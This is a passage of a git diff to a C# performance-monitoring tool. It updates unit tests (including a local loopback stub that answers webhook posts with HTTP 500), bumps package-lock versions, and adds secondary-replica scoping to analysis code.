-        var at = yaml.IndexOf("\n            lite_shard:\n", StringComparison.Ordinal);
-        Assert.True(at > 0, "build.yml's 'lite_shard' path filter is gone — find where it moved before editing this test");
+        var at = yaml.IndexOf("\n            darling_reads_shard:\n", StringComparison.Ordinal);
+        Assert.True(at > 0, "build.yml's 'darling_reads_shard' path filter is gone — find where it moved before editing this test");
 
         /* The block runs to the next area key at the same indent; its own entries are indented deeper. */
         var rest = yaml[(at + 1)..];
@@ -287,9 +288,24 @@ is decoration and this test is the only thing that would notice.
            — and IndexOf on the prefix finds the release-only one, whose `if` is the release guard and
            carries no filter at all. That is exactly how this pin first went red on the change that split
            the suite, which is the pin working. */
-        var step = yaml.IndexOf("name: Run Lite tests (shard)", StringComparison.Ordinal);
-        Assert.True(step > 0, "the 'Run Lite tests (shard)' step is gone — find where it moved before editing this test");
-        Assert.Contains("steps.filter.outputs.lite_shard == 'true'", yaml[step..(step + 400)], StringComparison.Ordinal);
+        var job = yaml.IndexOf("\n  lite-tests:\n", StringComparison.Ordinal);
+        Assert.True(job > 0, "the 'lite-tests' job is gone — find where it moved before editing this test");
+
+        var scope = yaml.IndexOf("- name: Decide how much of the Lite suite runs\n", job, StringComparison.Ordinal);
+        Assert.True(scope > 0, "the 'Decide how much of the Lite suite runs' step is gone — find where it moved before editing this test");
+        var scopeEnd = yaml.IndexOf("\n      - name: ", scope, StringComparison.Ordinal);
+        Assert.Contains(
+            "DARLING_READS: ${{ steps.filter.outputs.darling_reads_shard }}",
+            yaml[scope..scopeEnd],
+            StringComparison.Ordinal);
+
+        /* The sharded step runs only when the scope step says this leg has work, which for a Darling-only
+           diff is the `reads` selection in shard 0. */
+        var run = CrossAppGuardCiGateTests.StepBlock(yaml[job..], "Run Lite tests (shard)");
+        Assert.Contains(
+            "\n        if: steps.scope.outputs.run == 'true'\n",
+            run,
+            StringComparison.Ordinal);
     }
 
     /// <summary>The repo root, located by walking up from this file's compile-time path — the same idiom
diff --git a/Lite.Tests/WatermarkReadFailureLogTests.cs b/Lite.Tests/WatermarkReadFailureLogTests.cs
index eea7edffd6..89ea470ef6 100644
--- a/Lite.Tests/WatermarkReadFailureLogTests.cs
+++ b/Lite.Tests/WatermarkReadFailureLogTests.cs
@@ -27,10 +27,17 @@ public sealed class WatermarkReadFailureLogTests : IDisposable
 
     private readonly string _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
 
+    private readonly List<DuckDbInitializer> _stores = [];
+
     public WatermarkReadFailureLogTests() => Directory.CreateDirectory(_tempDir);
 
     public void Dispose()
     {
+        foreach (var duckDb in _stores)
+        {
+            duckDb.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -65,7 +72,8 @@ public async Task<bool> EachReturnsNoWatermarkAsync(int serverId)
     private async Task<DuckDbInitializer> StoreAsync()
     {
         var duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
-        await duckDb.InitializeAsync();
+        _stores.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
         return duckDb;
     }
 
diff --git a/Lite.Tests/WebhookCooldownSeedTests.cs b/Lite.Tests/WebhookCooldownSeedTests.cs
index 88149c799d..2b39b98184 100644
--- a/Lite.Tests/WebhookCooldownSeedTests.cs
+++ b/Lite.Tests/WebhookCooldownSeedTests.cs
@@ -1,4 +1,8 @@
 using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
 using System.Threading.Tasks;
 using PerformanceMonitor.Notifications;
 using PerformanceMonitorLite;
@@ -13,19 +17,27 @@ namespace PerformanceMonitorLite.Tests;
 /// restart is not re-posted on the first post-restart sweep — the guarantee #981 gave the email
 /// channel. The cooldown is time-bounded (EmailCooldownMinutes), so it only covers a restart
 /// inside the cooldown window; the time-independent edge-trigger watermark persistence (Lite)
-/// covers the rest. These tests use a dead webhook URL: a SUPPRESSED post never touches the
-/// network (the cooldown short-circuits first), while an ATTEMPTED post fails against the dead
-/// URL and increments the Teams failure counter — the observable proxy for "did it try to post".
+/// covers the rest. These tests point the webhook at a loopback endpoint that answers every post
+/// with HTTP 500: a SUPPRESSED post never touches the network (the cooldown short-circuits first),
+/// while an ATTEMPTED post fails against the endpoint and increments the Teams failure counter — the
+/// observable proxy for "did it try to post". The endpoint is in-process because the earlier dead URL,
+/// <c>http://localhost:1</c>, is not fast on Windows: a connect to a closed port retries the SYN and
+/// takes about 2 s per address, and <c>localhost</c> tries both ::1 and 127.0.0.1, so each attempted
+/// post took about 4.1 s and the 7 tests together about 20 s of waiting with almost no CPU.
 /// </summary>
-public class WebhookCooldownSeedTests
+public class WebhookCooldownSeedTests : IDisposable
 {
+    private readonly RefusingEndpoint _endpoint = new();
+
+    public void Dispose() => _endpoint.Dispose();
+
     private static WebhookAlertService MakeService(IAlertHistoryStore? history, FakeWebhookSettings settings)
         => new(settings, EmailAlertService.Branding, new AppLoggerAdapter<WebhookAlertService>(), history);
 
-    private static FakeWebhookSettings EnabledTeamsSettings() => new()
+    private FakeWebhookSettings EnabledTeamsSettings() => new()
     {
         TeamsWebhookEnabled = true,
-        TeamsWebhookUrl = "http://localhost:1/never", // closed port -> connection refused, fast deterministic failure
+        TeamsWebhookUrl = _endpoint.Url, // answers HTTP 500 at once -> fast deterministic failure
         EmailCooldownMinutes = 15
     };
 
@@ -54,13 +66,13 @@ public async Task SeedFromHistory_OlderThanCooldown_DoesNotSuppress()
     {
         // gotqn's repro: the restart is 17 min after the send, beyond the 15-min cooldown. The
         // cooldown seed must NOT suppress here — that's exactly why the Lite watermark persistence
-        // is also needed. The post is attempted (and fails against the dead URL).
+        // is also needed. The post is attempted (and fails against the refusing endpoint).
         var history = new FakeHistoryStore { LastWebhookSent = DateTime.UtcNow.AddMinutes(-17) };
         var svc = MakeService(history, EnabledTeamsSettings());
 
         var result = await svc.TrySendWebhookAlertsAsync("Deadlocks Detected", "Srv", "4", "1", "1");
 
-        Assert.False(result.Sent);                                 // dead URL -> post failed
+        Assert.False(result.Sent);                                 // endpoint refused -> post failed
         Assert.Equal(1, history.GetLastWebhookSentCallCount);      // seed consulted
         Assert.Equal(1, svc.GetTeamsHealth().ConsecutiveFailures); // but it WAS attempted (not suppressed)
 
@@ -85,6 +97,69 @@ public async Task NullHistoryStore_NoSeed_AttemptsPost()
         Assert.Equal(AlertChannelOutcome.Failed, result.Outcome);
     }
 
+    /// <summary>
+    /// A loopback endpoint that answers every POST with HTTP 500 and closes. <c>TcpListener</c> rather than
+    /// <c>HttpListener</c> because the latter wants a URL ACL on Windows. It binds a free port on 127.0.0.1
+    /// only, so the client has one address to try and no connect timeout to wait out.
+    /// </summary>
+    private sealed class RefusingEndpoint : IDisposable
+    {
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly CancellationTokenSource _stop = new();
+        private readonly Task _accepting;
+
+        public RefusingEndpoint()
+        {
+            _listener.Start();
+            Url = $"http://127.0.0.1:{((IPEndPoint)_listener.LocalEndpoint).Port}/never";
+            _accepting = Task.Run(AcceptLoopAsync);
+        }
+
+        public string Url { get; }
+
+        private async Task AcceptLoopAsync()
+        {
+            try
+            {
+                while (!_stop.IsCancellationRequested)
+                {
+                    using var client = await _listener.AcceptTcpClientAsync(_stop.Token);
+                    using var stream = client.GetStream();
+
+                    /* Read to the blank line after the headers, then answer. The small JSON body may still be
+                       unread when the connection closes; the client has the status line by then. */
+                    var buffer = new byte[16 * 1024];
+                    var seen = new StringBuilder();
+                    while (!seen.ToString().Contains("\r\n\r\n", StringComparison.Ordinal))
+                    {
+                        var read = await stream.ReadAsync(buffer, _stop.Token);
+                        if (read == 0)
+                            break;
+                        seen.Append(Encoding.ASCII.GetString(buffer, 0, read));
+                    }
+
+                    var response = Encoding.ASCII.GetBytes(
+                        "HTTP/1.1 500 Refused\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
+                    await stream.WriteAsync(response, _stop.Token);
+                    await stream.FlushAsync(_stop.Token);
+                }
+            }
+            catch (OperationCanceledException) { /* Dispose */ }
+            catch (SocketException) { /* listener stopped */ }
+            catch (ObjectDisposedException) { /* listener stopped */ }
+            catch (System.IO.IOException) { /* client went away */ }
+        }
+
+        public void Dispose()
+        {
+            _stop.Cancel();
+            _listener.Stop();
+            try { _accepting.Wait(TimeSpan.FromSeconds(2)); }
+            catch (AggregateException) { /* the loop's own shutdown */ }
+            _stop.Dispose();
+        }
+    }
+
     private sealed class FakeWebhookSettings : IAlertSettings
     {
         public bool SmtpEnabled => false;
@@ -151,14 +226,14 @@ private sealed class FakeHistoryStore : IAlertHistoryStore
     public async Task DistinctFingerprint_NotSuppressedByAnotherIncidentsCooldown()
     {
         // #1154: incident X was delivered "just now"; a DISTINCT incident Y arrives within the window.
-        // Y must be attempted (it fails against the dead URL) — not throttled by X's cooldown.
+        // Y must be attempted (it fails against the refusing endpoint) — not throttled by X's cooldown.
         var history = new FakeHistoryStore { LastWebhookSent = DateTime.UtcNow, SeededDedupKey = "X" };
         var svc = MakeService(history, EnabledTeamsSettings());
 
         var result = await svc.TrySendWebhookAlertsAsync(
             "Deadlocks Detected", "Srv", "4", "1", "1", ContextWith("Y"));
 
-        Assert.False(result.Sent);                                 // dead URL -> attempted, failed
+        Assert.False(result.Sent);                                 // endpoint refused -> attempted, failed
         Assert.Equal(1, svc.GetTeamsHealth().ConsecutiveFailures); // ATTEMPTED, not suppressed
         Assert.Equal(AlertChannelOutcome.Failed, result.Outcome);
     }
@@ -185,7 +260,7 @@ public async Task SameFingerprint_SuppressedByItsOwnSeededCooldown()
     /// <c>AlertHistoryServerIdentity</c> mapping: the other key's fresh row sits in the collapsed 0 bucket,
     /// which is exactly where the old parse-to-0 seed found it and answered this key's question with it —
     /// throttling an unannounced incident, the class #1154 exists to prevent. The seed now declines, the
-    /// key reads as a first notice, and the post is attempted (failing against the dead URL). The real
+    /// key reads as a first notice, and the post is attempted (failing against the refusing endpoint). The real
     /// DuckDB store's own refusal is pinned in <c>StoreRoundTripTests</c>; this is the service-level half,
     /// where "declined seed" has to come out as "attempted post".
     /// </summary>
@@ -199,7 +274,7 @@ public async Task FirstNotice_OnAnUnparseableKey_IsNotThrottledByAnotherKeysSend
         var result = await svc.TrySendWebhookAlertsAsync(
             "Collector Cost Regression", "Srv", "120 ms/run", "60 ms/run", "cost:7:wait_stats");
 
-        Assert.False(result.Sent);                                 // dead URL -> post failed
+        Assert.False(result.Sent);                                 // endpoint refused -> post failed
         Assert.Equal(1, history.SeedReads);                        // the seed WAS consulted
         Assert.Equal(1, svc.GetTeamsHealth().ConsecutiveFailures); // but the post was ATTEMPTED
         Assert.Equal(AlertChannelOutcome.Failed, result.Outcome);
diff --git a/Lite.Tests/WindowResumeGuardTests.cs b/Lite.Tests/WindowResumeGuardTests.cs
index 48d7b8428f..941e1bb987 100644
--- a/Lite.Tests/WindowResumeGuardTests.cs
+++ b/Lite.Tests/WindowResumeGuardTests.cs
@@ -18,6 +18,7 @@ namespace PerformanceMonitorLite.Tests;
 /// but is now hidden or minimized — and must leave a window the user deliberately sent
 /// to the tray (wasVisibleBeforeSuspend == false) alone, so resume never pops it back out.
 /// </summary>
+[Trait("Stage", "Guard")]
 public class WindowResumeGuardTests
 {
     [Theory]
diff --git a/Lite.Tests/WindowWorkAreaTests.cs b/Lite.Tests/WindowWorkAreaTests.cs
index 77cd5a8b73..0cc167bac5 100644
--- a/Lite.Tests/WindowWorkAreaTests.cs
+++ b/Lite.Tests/WindowWorkAreaTests.cs
@@ -26,6 +26,7 @@ namespace Lite.Tests;
 /// and an <c>Application</c> to instantiate, and the regression that matters is one app being fixed while its
 /// twin is not.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class WindowWorkAreaTests
 {
     /// <summary>A 1080p work area with a 40px taskbar, at the origin: the primary-monitor shape.</summary>
diff --git a/Lite.Tests/WriteLockBudgetTests.cs b/Lite.Tests/WriteLockBudgetTests.cs
index 94128449a8..998549c9e3 100644
--- a/Lite.Tests/WriteLockBudgetTests.cs
+++ b/Lite.Tests/WriteLockBudgetTests.cs
@@ -30,6 +30,8 @@ namespace Lite.Tests;
 /// dispatcher's five seconds, this host declares its own, and the declaration demonstrably ARRIVES rather
 /// than falling back to the default while looking configured.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class WriteLockBudgetTests
 {
     /// <summary>
diff --git a/Lite.Tests/XeTimeFilterSweepTests.cs b/Lite.Tests/XeTimeFilterSweepTests.cs
index 2116f85af2..f61f050e6b 100644
--- a/Lite.Tests/XeTimeFilterSweepTests.cs
+++ b/Lite.Tests/XeTimeFilterSweepTests.cs
@@ -37,6 +37,9 @@ public sealed class XeTimeFilterSweepTests
 
     private static readonly RecordingCollectorDeltaCalculator s_deltas = new();
 
+    private static readonly string s_sessionName =
+        LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, "0a1b2c3d");
+
     private static readonly CollectorTargetInfo[] s_targets =
     [
         new CollectorTargetInfo { SqlMajorVersion = 16 },
@@ -117,6 +120,9 @@ public void ThePatternCatchesEveryShapeThisSweepRetired()
             Deltas = s_deltas,
             Target = target,
             CapturePlanXml = capturePlanXml,
+            /* The long-query read names the session this install made (#4961) and refuses to build without it; without a name
+               the sweep would skip that collector's SQL and report it as built nowhere. */
+            LongQuerySessionName = s_sessionName,
         };
         var type = schema.GetType();
 
diff --git a/Lite.Tests/packages.lock.json b/Lite.Tests/packages.lock.json
index 474dce1ef1..d1a9f141a4 100644
--- a/Lite.Tests/packages.lock.json
+++ b/Lite.Tests/packages.lock.json
@@ -2,6 +2,12 @@
   "version": 2,
   "dependencies": {
     "net10.0-windows7.0": {
+      "Microsoft.AspNetCore.TestHost": {
+        "type": "Direct",
+        "requested": "[10.0.12, )",
+        "resolved": "10.0.12",
+        "contentHash": "bTHgbcjSrLxlqSasYRDU9BcJ3hDGoqIjtDY0soLNrndOWi3kxtOyddwUMaNZgtoI2Uf6y7ZQs2EuVj0c20B7mA=="
+      },
       "xunit.v3": {
         "type": "Direct",
         "requested": "[4.0.1, )",
@@ -92,16 +98,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -735,8 +741,8 @@
       "performancemonitor.alerting": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.10.0, )",
+          "PerformanceMonitor.Notifications": "[3.10.0, )"
         }
       },
       "performancemonitor.analysis": {
@@ -745,7 +751,7 @@
       "performancemonitor.collectors": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.10.0, )"
         }
       },
       "performancemonitor.common": {
@@ -760,21 +766,21 @@
         "type": "Project",
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "[10.0.12, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.10.0, )"
         }
       },
       "performancemonitor.plananalysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "PerformanceMonitor.Common": "[3.10.0, )"
         }
       },
       "performancemonitor.ui": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
+          "PerformanceMonitor.Common": "[3.10.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.10.0, )",
           "ScottPlot.WPF": "[5.1.59, )"
         }
       },
@@ -785,21 +791,21 @@
           "DuckDB.NET.Bindings.Full": "[1.5.5, )",
           "DuckDB.NET.Data": "[1.5.5, )",
           "Hardcodet.NotifyIcon.Wpf": "[2.0.1, )",
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )",
           "Microsoft.Extensions.Hosting": "[10.0.12, )",
           "Microsoft.Extensions.Logging": "[10.0.12, )",
           "ModelContextProtocol": "[2.2.0, )",
           "ModelContextProtocol.AspNetCore": "[2.2.0, )",
-          "PerformanceMonitor.Alerting": "[3.8.0, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
-          "PerformanceMonitor.Ui": "[3.8.0, )",
+          "PerformanceMonitor.Alerting": "[3.10.0, )",
+          "PerformanceMonitor.Analysis": "[3.10.0, )",
+          "PerformanceMonitor.Collectors": "[3.10.0, )",
+          "PerformanceMonitor.Common": "[3.10.0, )",
+          "PerformanceMonitor.Notifications": "[3.10.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.10.0, )",
+          "PerformanceMonitor.Ui": "[3.10.0, )",
           "ScottPlot.WPF": "[5.1.59, )",
-          "Velopack": "[1.2.158, )"
+          "Velopack": "[1.2.161, )"
         }
       },
       "CredentialManagement": {
@@ -832,13 +838,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -849,14 +855,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -968,9 +974,9 @@
       },
       "Velopack": {
         "type": "CentralTransitive",
-        "requested": "[1.2.158, )",
-        "resolved": "1.2.158",
-        "contentHash": "wQN38beVrAf0WzFMnZtl7UmwxqwaJ7xVYypqITdOI4YUTYch2UvE+xAjg9msfaitVDtgfWeIcGsjRNQ65C03ZQ=="
+        "requested": "[1.2.161, )",
+        "resolved": "1.2.161",
+        "contentHash": "OpHNacIumnkhaaX3ZlQ/TCR4YPOJvud2/PAOoWb6o+mIrLwIVA275I5wAgt4q/1O2VrJeDwR1qFQyqzG4lUArg=="
       }
     }
   }
diff --git a/Lite/Analysis/AnalysisService.cs b/Lite/Analysis/AnalysisService.cs
index d567df690d..5f322a09d6 100644
--- a/Lite/Analysis/AnalysisService.cs
+++ b/Lite/Analysis/AnalysisService.cs
@@ -114,6 +114,15 @@ public class AnalysisService
     /// <summary>See <see cref="LastFactCount"/>: of those facts, how many scored above zero.</summary>
     public int? LastFactsScored { get; private set; }
 
+    /// <summary>
+    /// #5558: the one-sentence note naming how many databases the last pass left to the primary replica because this
+    /// node holds only a secondary copy of them in an availability group, or null when none were skipped (and when
+    /// the pass never reached the set). Carried out like <see cref="LastWindowCoverage"/>, because a short or empty
+    /// findings list cannot say it: without the note, "nothing found" reads as a clean bill of health for databases
+    /// the pass never looked at.
+    /// </summary>
+    public string? LastSecondaryReplicaNote { get; private set; }
+
     /// <param name="retentionDaysForCollector">#1757: resolves a collector's configured retention so the
     /// baseline provider can warn when a source table is retained for less than the baseline window. Optional
     /// — null simply disables that warning, which is why every existing caller keeps working unchanged.</param>
@@ -226,6 +235,7 @@ public async Task<List<AnalysisFinding>> AnalyzeAsync(AnalysisContext context)
         LastCollectionFamilyCount = 0;
         LastFactCount = null;
         LastFactsScored = null;
+        LastSecondaryReplicaNote = null;
 
         try
         {
@@ -240,6 +250,13 @@ context arrives here whenever the budget is very short or the pass queued behind
                for and finishing is what preserves it. */
             context.CancellationToken.ThrowIfCancellationRequested();
 
+            /* #5558: the databases this node holds only as a secondary copy, at the window's end (so an AsOf pass
+               uses the role at that time). Fails open: any unknown leaves it empty. Inside the try and after
+               IsAnalyzing, so an abandonment (a budget that runs out while the read waits on the store lock) takes
+               the #2412/#2443 path below instead of escaping the pass, and the guard window does not widen. */
+            await SecondaryReplicaScope.EnsureAsync(_duckDb, context);
+            LastSecondaryReplicaNote = AgReplicaScope.SkippedNote(context.SecondaryReplicaDatabases);
+
             // 0. Check minimum data span — total history, not the analysis window.
             // A server with 100h of total history can be analyzed over a 4h window.
             var dataSpanHours = await GetTotalDataSpanHoursAsync(context.ServerId, context.CancellationToken);
@@ -572,6 +589,7 @@ cancellation really produces — narrowed to the one shape that arises here. */
             CancellationToken = cancellationToken
         };
         context.SeparatelyMonitoredDatabases ??= ResolveSeparatelyMonitoredDatabases(serverId);
+        await SecondaryReplicaScope.EnsureAsync(_duckDb, context); /* #5558 */
 
         try
         {
@@ -614,7 +632,9 @@ public async Task<List<Fact>> CollectConfigAuditFactsAsync(int serverId, string
             TimeRangeStart = timeRangeEnd.AddHours(-1),
             TimeRangeEnd = timeRangeEnd,
             AsOfUtc = asOfUtc,
-            CancellationToken = cancellationToken
+            CancellationToken = cancellationToken,
+            /* #5558: audit_config reads only server-level facts, so no AG read is paid for (Darling parity). */
+            SecondaryReplicaDatabases = SecondaryReplicaScope.NoneSkipped
         };
 
         try
@@ -647,8 +667,13 @@ not be swallowed into an empty result and logged as a fault. */
     /// that fails must not cost the caller the comparison it was only meant to refine, so it degrades
     /// to an empty map and every key takes the absolute rule — the never-blind fallback the anomaly
     /// gate follows.</para>
+    ///
+    /// <para>#5558: the last two elements are the secondary-replica sets the two windows' contexts filtered with (null
+    /// when collection threw), each as of its own window end. <c>compare_analysis</c> builds its per-window
+    /// <c>secondary_replica_note</c> from them rather than reading the role a second time, so a note cannot name a skip
+    /// the facts did not make.</para>
     /// </summary>
-    public async Task<(List<Fact> BaselineFacts, List<Fact> ComparisonFacts, WindowCoverage? BaselineCoverage, WindowCoverage? ComparisonCoverage, IReadOnlyDictionary<string, BaselineBucket> Dispersion)> ComparePeriodsAsync(
+    public async Task<(List<Fact> BaselineFacts, List<Fact> ComparisonFacts, WindowCoverage? BaselineCoverage, WindowCoverage? ComparisonCoverage, IReadOnlyDictionary<string, BaselineBucket> Dispersion, IReadOnlySet<string>? BaselineSecondaries, IReadOnlySet<string>? ComparisonSecondaries)> ComparePeriodsAsync(
         int serverId, string serverName,
         DateTime baselineStart, DateTime baselineEnd,
         DateTime comparisonStart, DateTime comparisonEnd,
@@ -673,6 +698,10 @@ not be swallowed into an empty result and logged as a fault. */
         };
         baselineContext.SeparatelyMonitoredDatabases ??= ResolveSeparatelyMonitoredDatabases(serverId);
         comparisonContext.SeparatelyMonitoredDatabases = baselineContext.SeparatelyMonitoredDatabases;
+        /* #5558: NOT copied across like the list above: the two windows can straddle a failover, and each window
+           uses the role at its own end. */
+        await SecondaryReplicaScope.EnsureAsync(_duckDb, baselineContext);
+        await SecondaryReplicaScope.EnsureAsync(_duckDb, comparisonContext);
 
         try
         {
@@ -684,14 +713,15 @@ not be swallowed into an empty result and logged as a fault. */
 
             var dispersion = await LookUpDispersionAsync(serverId, serverName, baselineFacts, comparisonFacts, comparisonStart, cancellationToken);
 
-            return (baselineFacts, comparisonFacts, baselineContext.Coverage, comparisonContext.Coverage, dispersion);
+            return (baselineFacts, comparisonFacts, baselineContext.Coverage, comparisonContext.Coverage, dispersion,
+                baselineContext.SecondaryReplicaDatabases, comparisonContext.SecondaryReplicaDatabases);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
             /* #4203: cancellation (an abandoned MCP read) must reach the caller as OperationCanceledException,
                not be swallowed into an empty result and logged as a fault. */
             AppLogger.Error("AnalysisService", $"Period comparison failed for {serverName}: {ex.Message}");
-            return ([], [], null, null, new Dictionary<string, BaselineBucket>());
+            return ([], [], null, null, new Dictionary<string, BaselineBucket>(), null, null);
         }
     }
 
@@ -983,7 +1013,7 @@ private async Task AttributeConfigChangesAsync(AnalysisContext context, List<Fac
             var windows = ConfigChangeAttribution.WindowsFor(anchorTime, context.TimeRangeEnd);
 
             context.CancellationToken.ThrowIfCancellationRequested();
-            var (before, after, beforeCoverage, afterCoverage, dispersion) = await ComparePeriodsAsync(
+            var (before, after, beforeCoverage, afterCoverage, dispersion, _, _) = await ComparePeriodsAsync(
                 context.ServerId, context.ServerName,
                 windows.BeforeStart, windows.BeforeEnd,
                 windows.AfterStart, windows.AfterEnd,
@@ -1158,6 +1188,14 @@ over OBSERVED windows is the "nothing moved" answer and is banded like any other
         }
     }
 
+    /// <summary>#5558: the shared one-sentence note when this node holds a secondary copy of any database in an
+    /// availability group as of <paramref name="asOfUtc"/> (now when null), else null. Read-back surfaces that list stored
+    /// findings (get_analysis_findings) carry it so a short list is not mistaken for a clean bill of health. A failed
+    /// read is "no note", never an error.</summary>
+    internal Task<string?> GetSecondaryReplicaNoteAsync(
+        int serverId, DateTime? asOfUtc = null, CancellationToken cancellationToken = default) =>
+        SecondaryReplicaScope.NoteAsync(_duckDb, serverId, asOfUtc, cancellationToken);
+
     /// <summary>
     /// The insufficient-history message for <paramref name="serverId"/>, or null when it has enough history
     /// OR when the span could not be read: a failed read says nothing about history, so it must not be
diff --git a/Lite/Analysis/AnomalyDetector.cs b/Lite/Analysis/AnomalyDetector.cs
index 069511acba..4189c32b5f 100644
--- a/Lite/Analysis/AnomalyDetector.cs
+++ b/Lite/Analysis/AnomalyDetector.cs
@@ -176,10 +176,14 @@ prv AS (SELECT database_name, object_id, SUM(reserved_mb) mb
 WHERE (SELECT t FROM latest) <> (SELECT t FROM prior)
 AND   cur.mb - prv.mb >= $2
 AND   (CASE WHEN prv.mb > 0 THEN (cur.mb - prv.mb) * 100.0 / prv.mb ELSE 0 END) >= $3
+/*SEC*/
 ORDER BY growth_mb DESC LIMIT 1";
                 cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
                 cmd.Parameters.Add(new DuckDBParameter { Value = ObjectGrowthMbThreshold });
                 cmd.Parameters.Add(new DuckDBParameter { Value = ObjectGrowthPctThreshold });
+                /* #5558: object sizes (reserved_mb) mirror the primary, so a secondary copy's growth is the primary's
+                   to report. Only this growth query is filtered; the contention anomaly stays node-local. */
+                cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "ANOMALY_OBJECT_GROWTH", "cur.database_name", 4);
 
                 using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
                 if (await reader.ReadAsync(context.CancellationToken))
